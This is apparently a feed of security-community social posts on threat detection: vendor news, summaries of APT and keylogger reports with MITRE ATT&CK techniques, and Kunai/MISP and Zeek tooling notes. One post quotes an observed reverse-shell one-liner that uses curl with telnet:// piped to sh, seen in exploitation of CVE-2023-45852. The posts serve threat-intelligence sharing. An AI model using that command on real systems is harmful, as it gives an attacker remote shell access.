SUSE announces AI-powered integration with @SUSE Security and Microsoft Sentinel
https://www.admin-magazine.com/News/SUSE-Security-Announces-Integration-with-Microsoft-Sentinel?utm_source=SM
#SUSE #Sentinel #Microsoft #ArtificialIntelligence #security #integration #Copilot #ThreatDetection
First time I'm seeing curl being used with telnet:// to fetch a payload. Found in an exploitation of CVE-2023-45852
C='curl -Ns telnet://x.x.x.x:4444'; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null
Good day everyone!
An APT group known as Angry Likho (a.k.a. Sticky Werewolf) is being monitored by Kaspersky's Securelist researchers and they have identified hundreds of victims of a recent attack in Russia, several in Belarus, and additional incidents in other countries. They used an age-old technique of spear-phishing to gain initial access that had various attachments that would contain the legitimate bait file as well as other files, in some cases malicious LNK files. Execution would lead to a newly discovered implant named FrameworkSurvivor.exe.
As usual, check out all the juicy details that I left out and enjoy the read! Happy Hunting!
Angry Likho: Old beasts in a new forest
https://securelist.com/angry-likho-apt-attacks-with-lumma-stealer/115663/
Intel 471 Cyborg Security, Now Part of Intel 471 #ThreatIntel #ThreatHunting #ThreatDetection #HappyHunting #readoftheday
Good day everyone!
Fortinet's FortiGuard Labs discovered a new variant of the #Snake keylogger, a.k.a. "404 Keylogger". According to the report most of the detections from their "FortiSandbox" have come from China, Turkey, Indonesia, Taiwan, and Spain but if you aren't from these countries, you still may be a target!
Behaviors (MITRE ATT&CK):
Persistence - TA0003:
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder - After the malware is executed and drops a copy of itself in the %Local_AppData%\supergroup directory then copies itself the the %Startup% folder.
Defense Evasion - TA0005:
Process Injection: Process Hollowing T1055.012 - The malware injects itself into a legitimate .NET process, in this sample it was RegSvcs.exe. This allowed it to run within a trusted process to evade detection.
Command And Control - TA0011:
Application Layer Protocol: Web Protocols - T1071.001
Application Layer Protocol: Mail Protocols - T1071.003
The malware used multiple techniques to upload stolen credentials. The researchers observed SMTP, Telegram bots, and HTTP Post requests to transmit the data.
As usual, go check out the research for yourself to check out the details that I left out and support the good work! Enjoy and Happy Hunting!
FortiSandbox 5.0 Detects Evolving Snake Keylogger Variant
https://www.fortinet.com/blog/threat-research/fortisandbox-detects-evolving-snake-keylogger-variant
Intel 471 Cyborg Security, Now Part of Intel 471 #ThreatIntel #ThreatHunting #ThreatDetection #HappyHunting #readoftheday
Good day everyone, new Blizzard has dropped!
Microsoft's Threat Intelligence shares their research on a Russian state actor dubbed #SeashellBlizzard! Part of the GRU, they specialize in operations from espionage to information operation and cyber-enabled disruptions which have resulted in destructive attacks and manipulation of ICS. They have leveraged different types of malware to include #KillDisk, #FoxBlade, and #NotPetya.
Behavior Summary (With MITRE ATT&CK):
Initial Access - TA0001:
Exploit Public-Facing Application - T1190
Seashell Blizzard commonly exploited vulnerable public facing infrastructure.
Persistence - TA0003:
Create or Modify System Process: Windows Service - T1543.003 -
Among other means of persistence, Seashell Blizzard created a system service.
Execution - TA0002:
Command and Scripting Interpreter: PowerShell - T1059.001
Command and Scripting Interpreter: Windows Command Shell - T1059.003
Seashell Blizzard abused both of these living off the land binaries for multiple reasons and using multiple different parameters.
As always, there is WAAAAY too many technical details here, so go check it out yourself! Enjoy the read and Happy Hunting!
The BadPilot campaign: Seashell Blizzard subgroup conducts multiyear global access operation
https://www.microsoft.com/en-us/security/blog/2025/02/12/the-badpilot-campaign-seashell-blizzard-subgroup-conducts-multiyear-global-access-operation/
Intel 471 Cyborg Security, Now Part of Intel 471 #ThreatIntel #ThreatHunting #ThreatDetection #HappyHunting #readoftheday
Logpoint & Netheimur team up to enhance Icelandic security https://www.byteseu.com/735923/ #acquisition #AdvancedPersistentThreatProtection #ArtificialIntelligence(AI) #CloudSecurity #CyberAttacks #cybersecurity #DataPrivacy #GeneralDataProtectionRegulation(GDPR) #Iceland #Logpoint #ManagedSecurityServicesProvider(MSSP) #PublicSector #SecurityInformationAndEventManagement(SIEM) #ThreatActors #ThreatDetection
https://www.europesays.com/1838016/ Logpoint & Netheimur team up to enhance Icelandic security #acquisition #ArtificialIntelligenceAI #CloudSecurity #CyberAttacks #Cybersecurity #GeneralDataProtectionRegulation(GDPR) #iceland #island #Logpoint #ManagedSecurityServicesProvider(MSSP) #PublicSector #SecurityInformationAndEventManagement(SIEM) #ThreatActors #ThreatDetection
Sigma Rules: Your Guide to Threat Detection’s Open Standard: https://panther.com/blog/your-guide-to-the-sigma-rules-open-standard-for-threat-detection
Kunai pushes further integration with MISP!
This week, we've made significant progress in bridging Kunai with @misp to enhance threat intelligence sharing. Our focus has been on developing kunai-to-misp, a new tool available at https://github.com/kunai-project/pykunai, which processes Kunai logs and creates MISP events to streamline collaboration.
With this, it is now possible to both update MISP from Kunai and feed Kunai from MISP using the misp-to-kunai tool. Here's a practical workflow example:
Analyze a #linux malware sample with Kunai Sandbox (https://github.com/kunai-project/sandbox)
Use kunai-to-misp on the collected Kunai logs
(Optional) Review attributes' IDS flag to maximize detections and reduce false positives
Use misp-to-kunai to distribute the results across all Kunai endpoints
Additionally, we're leveraging MISP’s data model to craft meaningful MISP objects and relationships, offering a clear visual representation of events inside MISP.
Try it out and let us know what you think!
A #Windows filetype update may have complicated cyber #ThreatDetection efforts
Corelight’s NOC team faced a unique challenge at Black Hat USA 2024—detecting SSHAMBLE, a new SSH scanner introduced by HD Moore. By tapping into existing logs and Zeek metadata, we identified the tool’s fingerprint in real-time.
What happened next?
Real-time detection. Discovering threats using old logs. 
Zeek metadata making sense of encrypted traffic. 
Head to the blog to learn more: https://corelight.com/blog/black-hat-usa-2024-noc-learnings?utm_source=mstdn&utm_medium=organic-social&utm_campaign=blog&utm_adgroup=blackhat2024noc&utm_content=SSI
